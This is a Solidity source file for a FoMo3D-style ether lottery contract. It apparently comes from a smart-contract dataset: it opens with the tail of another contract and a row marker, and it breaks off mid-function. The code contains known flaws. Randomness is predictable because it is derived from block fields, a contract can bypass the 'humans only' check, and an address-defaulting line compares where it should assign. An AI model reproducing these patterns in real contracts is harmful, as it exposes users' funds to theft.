emit LogInvestorWhitelisted(investor, discountAmountEurUlps, fullTokenPriceFrac);
}
} | 0 | 1,226 |
pragma solidity ^0.4.24;
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
function isDev(address _who) external view returns(bool);
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
contract FoMo3Dlong is F3Devents {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address public otherF3D_;
address public Divies;
address public Jekyll_Island_Inc;
address public playerBook;
string constant public name = "FoMo3D Long Official";
string constant public symbol = "F3D";
uint256 private rndExtra_ = 30;
uint256 private rndGap_ = 30;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping(address => uint256) public pIDxAddr_;
mapping(bytes32 => uint256) public pIDxName_;
mapping(uint256 => F3Ddatasets.Player) public plyr_;
mapping(uint256 => mapping(uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping(uint256 => mapping(bytes32 => bool)) public plyrNames_;
mapping(uint256 => F3Ddatasets.Round) public round_;
mapping(uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping(uint256 => F3Ddatasets.TeamFee) public fees_;
mapping(uint256 => F3Ddatasets.PotSplit) public potSplit_;
function setPlayerBook(address _playerBook) external {
require(msg.sender == owner, 'only dev!');
require(address(playerBook) == address(0), 'already set!');
playerBook = _playerBook;
}
address public owner;
constructor()
public
{
owner = msg.sender;
fees_[0] = F3Ddatasets.TeamFee(30, 6);
fees_[1] = F3Ddatasets.TeamFee(43, 0);
fees_[2] = F3Ddatasets.TeamFee(56, 10);
fees_[3] = F3Ddatasets.TeamFee(43, 8);
potSplit_[0] = F3Ddatasets.PotSplit(15, 10);
potSplit_[1] = F3Ddatasets.PotSplit(25, 0);
potSplit_[2] = F3Ddatasets.PotSplit(20, 20);
potSplit_[3] = F3Ddatasets.PotSplit(30, 10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyDevs()
{
require(PlayerBookInterface(playerBook).isDev(msg.sender) == true, "msg sender is not a dev");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBookInterface(playerBook).registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBookInterface(playerBook).registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBookInterface(playerBook).registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns (uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ((round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000));
else
return (75000000000000);
}
function getTimeLeft()
public
view
returns (uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return ((round_[_rID].end).sub(_now));
else
return ((round_[_rID].strt + rndGap_).sub(_now));
else
return (0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns (uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add(((round_[_rID].pot).mul(48)) / 100),
(plyr_[_pID].gen).add(getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask)),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask)),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns (uint256)
{
return (((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000));
}
function getCurrentRoundInfo()
public
view
returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns (uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns (uint256)
{
return ((((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask));
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns (uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ((round_[_rID].eth).keysRec(_eth));
else
return ((_eth).keys());
}
function iWantXKeys(uint256 _keys)
public
view
returns (uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ((round_[_rID].keys.add(_keys)).ethRec(_keys));
else
return ((_keys).eth());
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require(msg.sender == address(playerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require(msg.sender == address(playerBook), "your not playerNames contract... hmmm..");
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBookInterface(playerBook).getPlayerID(msg.sender);
bytes32 _name = PlayerBookInterface(playerBook).getPlayerName(_pID);
uint256 _laff = PlayerBookInterface(playerBook).getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return (2);
else
return (_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return (_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(Jekyll_Island_Inc).send(_com))
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.transfer(_p3d);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return (_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns (bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if ((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return (true);
else
return (false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
if (!address(Jekyll_Island_Inc).send(_com))
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
otherF3D_.transfer(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
Divies.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return (_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return (_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns (uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
